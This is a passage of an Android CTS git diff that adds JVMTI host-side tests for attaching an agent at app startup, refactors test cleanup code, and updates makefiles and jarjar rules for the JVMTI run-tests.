+ void* reserved ATTRIBUTE_UNUSED) {
+ JNIEnv* env;
+ CHECK_EQ(0, vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6))
+ << "Could not get JNIEnv";
+
+ if (vm->GetEnv(reinterpret_cast<void**>(&jvmti_env), JVMTI_VERSION_1_0) != 0) {
+ LOG(FATAL) << "Could not get shared jvmtiEnv";
+ }
+
+ SetAllCapabilities(jvmti_env);
+
+ EnableEvents(env, JNI_TRUE, nullptr, ClassPrepareCallback);
+
+ return 0;
+}
+
+} // namespace art
diff --git a/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java
new file mode 100644
index 0000000..88a0fa9
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jvmti;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.lang.Override;
+
+/**
+ * A specialized activity. This is separate from the other agent tests as we can't use
+ * instrumentation for this.
+ */
+public class JvmtiActivity extends Activity {
+
+ private final static String APP_DESCRIPTOR = "Landroid/jvmti/JvmtiApplication;";
+ @Override
+ public void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+
+ System.out.println("Checking for " + APP_DESCRIPTOR);
+ if (!didSeeLoadOf(APP_DESCRIPTOR)) {
+ throw new IllegalStateException("Did not see the load of the application class!");
+ }
+ }
+
+ private static native boolean didSeeLoadOf(String s);
+}
diff --git a/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiApplication.java b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiApplication.java
new file mode 100644
index 0000000..213a3f8
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiApplication.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jvmti;
+
+import android.app.Application;
+
+/**
+ * A specialized application. This is special compared to other agent tests as we can't use
+ * instrumentation for this and want to test early startup.
+ */
+public class JvmtiApplication extends Application {
+}
diff --git a/hostsidetests/jvmti/attaching/host/Android.mk b/hostsidetests/jvmti/attaching/host/Android.mk
new file mode 100644
index 0000000..f236fb0
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/host/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiAttachingHostTestCases
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+LOCAL_SDK_VERSION := current
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/attaching/host/AndroidTest.xml b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
new file mode 100644
index 0000000..41c161d
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI Attaching test cases">
+ <option name="config-descriptor:metadata" key="component" value="art" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsJvmtiAttachingDeviceApp.apk" />
+ </target_preparer>
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsJvmtiAttachingHostTestCases.jar" />
+ <option name="set-option" value="test-file-name:CtsJvmtiAttachingDeviceApp.apk" />
+ <option name="set-option" value="package-name:android.jvmti.cts.attaching" />
+ </test>
+</configuration>
diff --git a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
new file mode 100644
index 0000000..2438f32
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.jvmti.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.ITestRunListener;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.ZipUtil;
+import java.io.File;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+import java.util.zip.ZipFile;
+
+/**
+ * Specialization of JvmtiHostTest to test attaching on startup.
+ */
+public class JvmtiAttachingHostTest extends DeviceTestCase implements IBuildReceiver, IAbiReceiver {
+ // inject these options from HostTest directly using --set-option <option name>:<option value>
+ @Option(name = "package-name",
+ description = "The package name of the device test",
+ mandatory = true)
+ private String mTestPackageName = null;
+
+ @Option(name = "test-file-name",
+ description = "the name of a test zip file to install on device.",
+ mandatory = true)
+ private String mTestApk = null;
+
+ private CompatibilityBuildHelper mBuildHelper;
+ private IAbi mAbi;
+
+ @Override
+ public void setBuild(IBuildInfo arg0) {
+ mBuildHelper = new CompatibilityBuildHelper(arg0);
+ }
+
+ @Override
+ public void setAbi(IAbi arg0) {
+ mAbi = arg0;
+ }
+
+ public void testJvmtiAttach() throws Exception {
+ final ITestDevice device = getDevice();
+
+ String testingArch = AbiUtils.getBaseArchForAbi(mAbi.getName());
+ String deviceArch = getDeviceBaseArch(device);
+
+ //Only bypass if Base Archs are different
+ if (!testingArch.equals(deviceArch)) {
+ CLog.d(
+ "Bypass as testing Base Arch:"
+ + testingArch
+ + " is different from DUT Base Arch:"
+ + deviceArch);
+ return;
+ }
+
+ if (mTestApk == null || mTestPackageName == null) {
+ throw new IllegalStateException("Incorrect configuration");
+ }
+
+ runAttachTest(device, mTestPackageName, mTestApk);
+ }
+
+ private String getDeviceBaseArch(ITestDevice device) throws Exception {
+ String abi = device.executeShellCommand("getprop ro.product.cpu.abi").replace("\n", "");
+ CLog.d("DUT abi:" + abi);
+ return AbiUtils.getBaseArchForAbi(abi);
+ }
+
+ private void runAttachTest(ITestDevice device, String pkg, String apk) {
+ try {
+ String pwd = device.executeShellCommand("run-as " + pkg + " pwd");
+ if (pwd == null) {
+ throw new RuntimeException("pwd failed");
+ }
+ pwd = pwd.trim();
+ if (pwd.isEmpty()) {
+ throw new RuntimeException("pwd failed");
+ }
+
+ String agentInDataData =
+ installLibToDataData(device, pkg, apk, pwd, "libctsjvmtiattachagent.so");
+
+ String attachCmd = "cmd activity start -S -W --attach-agent " + agentInDataData + " -n "
+ + pkg + "/android.jvmti.JvmtiActivity";
+
+ String attachReply = device.executeShellCommand(attachCmd);
+ // Don't try to parse the output. The test will time out anyways if this didn't
+ // work.
+ if (attachReply != null && !attachReply.trim().isEmpty()) {
+ CLog.e(attachReply);
+ }
+ } catch (Exception e) {
+ throw new RuntimeException("Failed attaching", e);
+ }
+ }
+
+ String installLibToDataData(ITestDevice device, String pkg, String apk, String dataData,
+ String library) throws Exception {
+ ZipFile zf = null;
+ File tmpFile = null;
+ String libInTmp = null;
+ try {
+ String libInDataData = dataData + "/" + library;
+
+ File apkFile = mBuildHelper.getTestFile(apk);
+ zf = new ZipFile(apkFile);
+
+ String libPathInApk = "lib/" + mAbi.getName() + "/" + library;
+ tmpFile = ZipUtil.extractFileFromZip(zf, libPathInApk);
+
+ libInTmp = "/data/local/tmp/" + tmpFile.getName();
+ if (!device.pushFile(tmpFile, libInTmp)) {
+ throw new RuntimeException("Could not push library " + library + " to device");
+ }
+
+ String runAsCp = device.executeShellCommand(
+ "run-as " + pkg + " cp " + libInTmp + " " + libInDataData);
+ if (runAsCp != null && !runAsCp.trim().isEmpty()) {
+ throw new RuntimeException(runAsCp.trim());
+ }
+
+ String runAsChmod = device
+ .executeShellCommand("run-as " + pkg + " chmod a+x " + libInDataData);
+ if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
+ throw new RuntimeException(runAsChmod.trim());
+ }
+
+ return libInDataData;
+ } finally {
+ FileUtil.deleteFile(tmpFile);
+ ZipUtil.closeZip(zf);
+ if (libInTmp != null) {
+ try {
+ device.executeShellCommand("rm " + libInTmp);
+ } catch (Exception e) {
+ CLog.e("Failed cleaning up library on device");
+ }
+ }
+ }
+ }
+}
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index f8099ef..ce2969c 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -27,6 +27,7 @@
import com.android.tradefed.testtype.IAbiReceiver;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.FileUtil;
import com.android.tradefed.util.ZipUtil;
import java.io.File;
import java.util.LinkedList;
@@ -68,11 +69,6 @@
mAbi = arg0;
}
- /**
- * Tests the string was successfully logged to Logcat from the activity.
- *
- * @throws Exception
- */
public void testJvmti() throws Exception {
final ITestDevice device = getDevice();
@@ -125,8 +121,6 @@
@Override
public void run() {
- File tmpFile = null;
- ZipFile zf = null;
try {
String pwd = mDevice.executeShellCommand("run-as " + mPkg + " pwd");
if (pwd == null) {
@@ -148,23 +142,13 @@
}
} catch (Exception e) {
throw new RuntimeException("Failed attaching", e);
- } finally {
- if (tmpFile != null) {
- tmpFile.delete();
- }
- if (zf != null) {
- try {
- zf.close();
- } catch (Exception e) {
- throw new RuntimeException("ZipFile close failed", e);
- }
- }
}
}
String installLibToDataData(String dataData, String library) throws Exception {
ZipFile zf = null;
File tmpFile = null;
+ String libInTmp = null;
try {
String libInDataData = dataData + "/" + library;
@@ -174,7 +158,7 @@
String libPathInApk = "lib/" + mAbi.getName() + "/" + library;
tmpFile = ZipUtil.extractFileFromZip(zf, libPathInApk);
- String libInTmp = "/data/local/tmp/" + tmpFile.getName();
+ libInTmp = "/data/local/tmp/" + tmpFile.getName();
if (!mDevice.pushFile(tmpFile, libInTmp)) {
throw new RuntimeException("Could not push library " + library + " to device");
}
@@ -193,14 +177,13 @@
return libInDataData;
} finally {
- if (tmpFile != null) {
- tmpFile.delete();
- }
- if (zf != null) {
+ FileUtil.deleteFile(tmpFile);
+ ZipUtil.closeZip(zf);
+ if (libInTmp != null) {
try {
- zf.close();
+ mDevice.executeShellCommand("rm " + libInTmp);
} catch (Exception e) {
- throw new RuntimeException("ZipFile close failed", e);
+ CLog.e("Failed cleaning up library on device");
}
}
}
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java
deleted file mode 100644
index 1577ab3..0000000
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package android.jvmti.cts;
-
-import com.android.compatibility.common.tradefed.targetprep.ApkInstaller;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.config.OptionClass;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.targetprep.TargetSetupError;
-import java.io.File;
-
-@OptionClass(alias="jvmti-installer")
-public class JvmtiPreparer extends ApkInstaller {
- // We re-use test-file-name to find the APK. But we need to know the package name.
- @Option(name = "package-name",
- description = "The package name of the device test",
- mandatory = true)
- private String mPackageName = null;
-
- private String storedApkName;
-
- public final static String PACKAGE_NAME_ATTRIBUTE = "jvmti-package-name";
- public final static String APK_ATTRIBUTE = "jvmti-apk";
-
- @Override
- public void setUp(ITestDevice arg0, IBuildInfo arg1)
- throws TargetSetupError, DeviceNotAvailableException {
- super.setUp(arg0, arg1);
-
- arg1.addBuildAttribute(PACKAGE_NAME_ATTRIBUTE, mPackageName);
- arg1.addBuildAttribute(APK_ATTRIBUTE, storedApkName);
- }
-
- @Override
- protected File getLocalPathForFilename(IBuildInfo arg0, String arg1, ITestDevice arg2)
- throws TargetSetupError {
- storedApkName = arg1;
- return super.getLocalPathForFilename(arg0, arg1, arg2);
- }
-}
diff --git a/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml b/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml
deleted file mode 100644
index a2d6ca6..0000000
--- a/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml
+++ /dev/null
@@ -1,39 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<!--
- * This is a sample of how to create an app for a run-test-based JVMTI
- * test.
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.jvmti.cts.run_test_{NR}">
-
- <application android:debuggable="true">
- <uses-library android:name="android.test.runner" />
- <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="{NR}" />
- <activity android:name="android.jvmti.JvmtiActivity" >
- </activity>
- </application>
-
- <!-- self-instrumenting test package. -->
- <instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
- android:label="CTS tests for JVMTI"
- android:targetPackage="android.jvmti.cts.run_test_{NR}" >
- </instrumentation>
-</manifest>
-
diff --git a/hostsidetests/jvmti/redefining/Android.mk b/hostsidetests/jvmti/redefining/Android.mk
index d0a728d..327aa69 100644
--- a/hostsidetests/jvmti/redefining/Android.mk
+++ b/hostsidetests/jvmti/redefining/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRedefineClassesHostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/redefining/app/Android.mk b/hostsidetests/jvmti/redefining/app/Android.mk
index 704f464..62e401c 100644
--- a/hostsidetests/jvmti/redefining/app/Android.mk
+++ b/hostsidetests/jvmti/redefining/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
index a7bd120..d68d1dd 100644
--- a/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
+++ b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
@@ -342,7 +342,6 @@
* return-object v0
* .end method
*/
- /* DISABLED Due to b/62237378
new RedefineError(JvmtiErrors.FAILS_VERIFICATION, Transform2.class,
"ZGV4CjAzNQBOhefYdQRcgqmkwhWsSyzb5I3udX0SnJ44AwAAcAAAAHhWNBIAAAAAAAAAAIwCAAAN" +
"AAAAcAAAAAYAAACkAAAAAQAAALwAAAAAAAAAAAAAAAMAAADIAAAAAQAAAOAAAAA4AgAAAAEAAAAB" +
@@ -359,7 +358,6 @@
"BgAAAKQAAAADAAAAAQAAALwAAAAFAAAAAwAAAMgAAAAGAAAAAQAAAOAAAAACIAAADQAAAAABAAAE" +
"IAAAAgAAABgCAAADEAAAAgAAACgCAAAGIAAAAQAAADgCAAADIAAAAgAAAEgCAAABIAAAAgAAAFQC" +
"AAAAIAAAAQAAAH4CAAAAEAAAAQAAAIwCAAA="),
- */
/**
* Base64 for this class.
*
diff --git a/hostsidetests/jvmti/redefining/jarjar-rules.txt b/hostsidetests/jvmti/redefining/jarjar-rules.txt
new file mode 100644
index 0000000..63f7888
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestRedefining@1
diff --git a/hostsidetests/jvmti/run-tests/Android.mk b/hostsidetests/jvmti/run-tests/Android.mk
index 64fe597..ca07cab 100644
--- a/hostsidetests/jvmti/run-tests/Android.mk
+++ b/hostsidetests/jvmti/run-tests/Android.mk
@@ -13,5 +13,166 @@
# limitations under the License.
LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+# shim classes. We use one that exposes the common functionality.
+LOCAL_SHIM_CLASSES := \
+ src/902-hello-transformation/src/art/Redefinition.java \
+ src/903-hello-tagging/src/art/Main.java \
+ src/989-method-trace-throw/src/art/Trace.java \
+
+LOCAL_SRC_FILES := $(LOCAL_SHIM_CLASSES)
+
+# Actual test classes.
+LOCAL_SRC_FILES += \
+ src/901-hello-ti-agent/src/art/Test901.java \
+ src/902-hello-transformation/src/art/Test902.java \
+ src/903-hello-tagging/src/art/Test903.java \
+ src/904-object-allocation/src/art/Test904.java \
+ src/905-object-free/src/art/Test905.java \
+ src/906-iterate-heap/src/art/Test906.java \
+ src/907-get-loaded-classes/src/art/Test907.java \
+ src/907-get-loaded-classes/src/art/Cerr.java \
+ src/908-gc-start-finish/src/art/Test908.java \
+ src/910-methods/src/art/Test910.java \
+ src/911-get-stack-trace/src/art/Test911.java \
+ src/911-get-stack-trace/src/art/AllTraces.java \
+ src/911-get-stack-trace/src/art/ControlData.java \
+ src/911-get-stack-trace/src/art/Frames.java \
+ src/911-get-stack-trace/src/art/OtherThread.java \
+ src/911-get-stack-trace/src/art/PrintThread.java \
+ src/911-get-stack-trace/src/art/Recurse.java \
+ src/911-get-stack-trace/src/art/SameThread.java \
+ src/911-get-stack-trace/src/art/ThreadListTraces.java \
+ src/912-classes/src-art/art/Test912.java \
+ src/912-classes/src-art/art/DexData.java \
+ src/913-heaps/src/art/Test913.java \
+ src/914-hello-obsolescence/src/art/Test914.java \
+ src/915-obsolete-2/src/art/Test915.java \
+ src/917-fields-transformation/src/art/Test917.java \
+ src/918-fields/src/art/Test918.java \
+ src/919-obsolete-fields/src/art/Test919.java \
+ src/920-objects/src/art/Test920.java \
+ src/922-properties/src/art/Test922.java \
+ src/923-monitors/src/art/Test923.java \
+ src/924-threads/src/art/Test924.java \
+ src/925-threadgroups/src/art/Test925.java \
+ src/926-multi-obsolescence/src/art/Test926.java \
+ src/927-timers/src/art/Test927.java \
+ src/928-jni-table/src/art/Test928.java \
+ src/930-hello-retransform/src/art/Test930.java \
+ src/931-agent-thread/src/art/Test931.java \
+ src/932-transform-saves/src/art/Test932.java \
+ src/933-misc-events/src/art/Test933.java \
+ src/940-recursive-obsolete/src/art/Test940.java \
+ src/942-private-recursive/src/art/Test942.java \
+ src/944-transform-classloaders/src/art/Test944.java \
+ src/945-obsolete-native/src/art/Test945.java \
+ src/947-reflect-method/src/art/Test947.java \
+ src/951-threaded-obsolete/src/art/Test951.java \
+ src/982-ok-no-retransform/src/art/Test982.java \
+ src/984-obsolete-invoke/src/art/Test984.java \
+ src/985-re-obsolete/src/art/Test985.java \
+ src/986-native-method-bind/src/art/Test986.java \
+ src/988-method-trace/src/art/Test988.java \
+ src/988-method-trace/src/art/Test988Intrinsics.java \
+ src/989-method-trace-throw/src/art/Test989.java \
+ src/990-field-trace/src/art/Test990.java \
+ src/991-field-trace-2/src/art/Test991.java \
+ src/992-source-data/src/art/Test992.java \
+ src/992-source-data/src/art/Target2.java \
+
+JVMTI_RUN_TEST_GENERATED_NUMBERS := \
+ 901 \
+ 902 \
+ 903 \
+ 904 \
+ 905 \
+ 906 \
+ 907 \
+ 908 \
+ 910 \
+ 911 \
+ 912 \
+ 913 \
+ 914 \
+ 915 \
+ 917 \
+ 918 \
+ 919 \
+ 920 \
+ 922 \
+ 923 \
+ 924 \
+ 925 \
+ 926 \
+ 927 \
+ 928 \
+ 930 \
+ 931 \
+ 932 \
+ 933 \
+ 940 \
+ 942 \
+ 944 \
+ 945 \
+ 947 \
+ 951 \
+ 982 \
+ 984 \
+ 985 \
+ 986 \
+ 988 \
+ 989 \
+ 990 \
+ 991 \
+ 992 \
+
+# Try to enforce that the directories correspond to the Java files we pull in.
+JVMTI_RUN_TEST_DIR_CHECK := $(sort $(foreach DIR,$(addprefix src/,$(JVMTI_RUN_TEST_GENERATED_NUMBERS)), \
+ $(filter $(DIR)%,$(LOCAL_SRC_FILES))))
+ifneq ($(sort $(LOCAL_SRC_FILES)),$(JVMTI_RUN_TEST_DIR_CHECK))
+ $(error Missing file, compare $(sort $(LOCAL_SRC_FILES)) with $(JVMTI_RUN_TEST_DIR_CHECK))
+endif
+
+LOCAL_MODULE_CLASS := JAVA_LIBRARIES
+LOCAL_MODULE_TAGS := optional
+LOCAL_JAVA_LANGUAGE_VERSION := 1.8
+LOCAL_MODULE := run-test-jvmti-java
+
+GENERATED_SRC_DIR := $(call local-generated-sources-dir)
+JVMTI_RUN_TEST_GENERATED_FILES := \
+ $(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),$(GENERATED_SRC_DIR)/results.$(NR).expected.txt)
+
+define GEN_JVMTI_RUN_TEST_GENERATED_FILE
+
+GEN_INPUT := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected.txt)
+ifeq (true,$(ANDROID_COMPILE_WITH_JACK))
+GEN_JACK := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected_jack.diff)
+else
+GEN_JACK :=
+endif
+GEN_OUTPUT := $(GENERATED_SRC_DIR)/results.$(1).expected.txt
+$$(GEN_OUTPUT): PRIVATE_GEN_JACK := $$(GEN_JACK)
+$$(GEN_OUTPUT): $$(GEN_INPUT) $$(GEN_JACK)
+ cp $$< $$@
+ifneq (,$$(GEN_JACK))
+ (cd $$(dir $$@) && patch $$(notdir $$@)) < $$(PRIVATE_GEN_JACK)
+endif
+
+GEN_INPUT :=
+GEN_OUTPUT :=
+
+endef
+
+$(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),\
+ $(eval $(call GEN_JVMTI_RUN_TEST_GENERATED_FILE,$(NR))))
+LOCAL_JAVA_RESOURCE_FILES := $(JVMTI_RUN_TEST_GENERATED_FILES)
+
+# Avoid linking against any @hide APIs.
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_JAVA_LIBRARY)
+
+include $(CLEAR_VARS)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/src b/hostsidetests/jvmti/run-tests/src
new file mode 120000
index 0000000..0291142
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/src
@@ -0,0 +1 @@
+../../../../art/test
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-902/Android.mk b/hostsidetests/jvmti/run-tests/test-902/Android.mk
index 7479ad8..e47ab62 100644
--- a/hostsidetests/jvmti/run-tests/test-902/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-902/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest902HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
index 7c08e22..69cf790 100644
--- a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest902HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest902DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_902" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/Android.mk b/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
index 3fd9dc9..278351b 100644
--- a/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt
new file mode 100644
index 0000000..1649520
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest902@1
diff --git a/hostsidetests/jvmti/run-tests/test-903/Android.mk b/hostsidetests/jvmti/run-tests/test-903/Android.mk
index 1b67da1..7ba63d8 100644
--- a/hostsidetests/jvmti/run-tests/test-903/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-903/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest903HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
index 2ab9b3e..3bec8b1 100644
